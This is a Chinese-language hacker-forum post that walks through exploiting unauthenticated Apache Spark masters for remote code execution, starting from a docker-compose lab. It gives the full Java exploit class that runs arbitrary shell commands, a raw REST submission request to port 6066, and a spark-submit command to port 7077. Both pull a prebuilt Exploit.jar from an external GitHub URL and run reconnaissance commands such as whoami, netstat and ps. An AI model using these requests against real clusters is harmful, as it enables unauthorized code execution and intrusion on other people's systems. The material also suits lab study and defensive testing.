標題:Apache Spark 未授權訪問漏洞

taibeihacker

Moderator

Apache Spark 未授权访问漏洞​

Apache Spark 是一款集群計算系統,其支持用戶向管理節點提交應用,並分發給集群執行。如果管理節點未啟動ACL(訪問控制),我們將可以在集群中執行任意代碼。

漏洞环境​

執行如下命令,將以standalone 模式啟動一個Apache Spark 集群,集群裡有一個master 與一個slave:
1
docker-compose up -d
環境啟動後,訪問http://your-ip:8080即可看到master 的管理頁面,訪問http://your-ip:8081即可看到slave 的管理頁面。

漏洞利用​

該漏洞本質是未授權的用戶可以向管理節點提交一個應用,這個應用實際上是惡意代碼。
提交方式有兩種:
利用REST API
利用submissions 網關(集成在7077 端口中)
應用可以是Java 或Python,就是一個最簡單的類
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Exploit {
public static void main(String[] args) throws Exception {
String[] cmds=args[0].split(',');
for (String cmd : cmds) {
System.out.println(cmd);
System.out.println(executeCommand(cmd.trim()));
System.out.println('==============================================');
}
}
//https://www.mkyong.com/java/how-to-execute-shell-command-from-java/
private static String executeCommand(String command) {
StringBuilder output=new StringBuilder();
try {
Process p=Runtime.getRuntime().exec(command);
p.waitFor();
BufferedReader reader=new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while ((line=reader.readLine()) !=null) {
output.append(line).append('\n');
}
} catch (Exception e) {
e.printStackTrace();
}
return output.toString();
}
}
將其編譯成JAR,放在任意一個HTTP 或FTP 上:
1

用 REST API 方式提交应用:​

standalone 模式下,master 將在6066 端口啟動一個HTTP 服務器,我們向這個端口提交REST 格式的API:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
POST /v1/submissions/create HTTP/1.1
Host: your-ip:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: application/json
Connection: close
Content-Length: 680
{
'action': 'CreateSubmissionRequest',
'clientSparkVersion': '2.3.1',
'appArgs': [
'whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf'
],
'appResource': 'https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar',
'environmentVariables': {
'SPARK_ENV_LOADED': '1'
},
'mainClass': 'Exploit',
'sparkProperties': {
'spark.jars': 'https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar',
'spark.driver.supervise': 'false',
'spark.app.name': 'Exploit',
'spark.eventLog.enabled': 'true',
'spark.submit.deployMode': 'cluster',
'spark.master': 'spark://your-ip:6066'
}
}
其中,spark.jars 即是編譯好的應用,mainClass 是待運行的類,appArgs 是傳給應用的參數。
20200323100150.png-water_print

返回的包中有submissionId,然後訪問http://your-ip:8081/logPage/?driverId={submissionId}logType=stdout,即可查看執行結果:
20200323100312.png-water_print

注意,提交應用是在master 中,查看結果是在具體執行這個應用的slave 裡(默認8081端口)。實戰中,由於slave可能有多個。

利用 submissions 网关​

如果6066 端口不能訪問,或做了權限控制,我們可以利用master 的主端口7077,來提交應用。
方法是利用Apache Spark 自帶的腳本bin/spark-submit:
1
bin/spark-submit --master spark://your-ip:7077 --deploy-mode cluster --class Exploit https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar id
如果你指定的master 參數是rest 服務器,這個腳本會先嘗試使用rest api 來提交應用;如果發現不是rest 服務器,則會降級到使用submission gateway 來提交應用。
查看結果的方式與前面一致。
 
返回
上方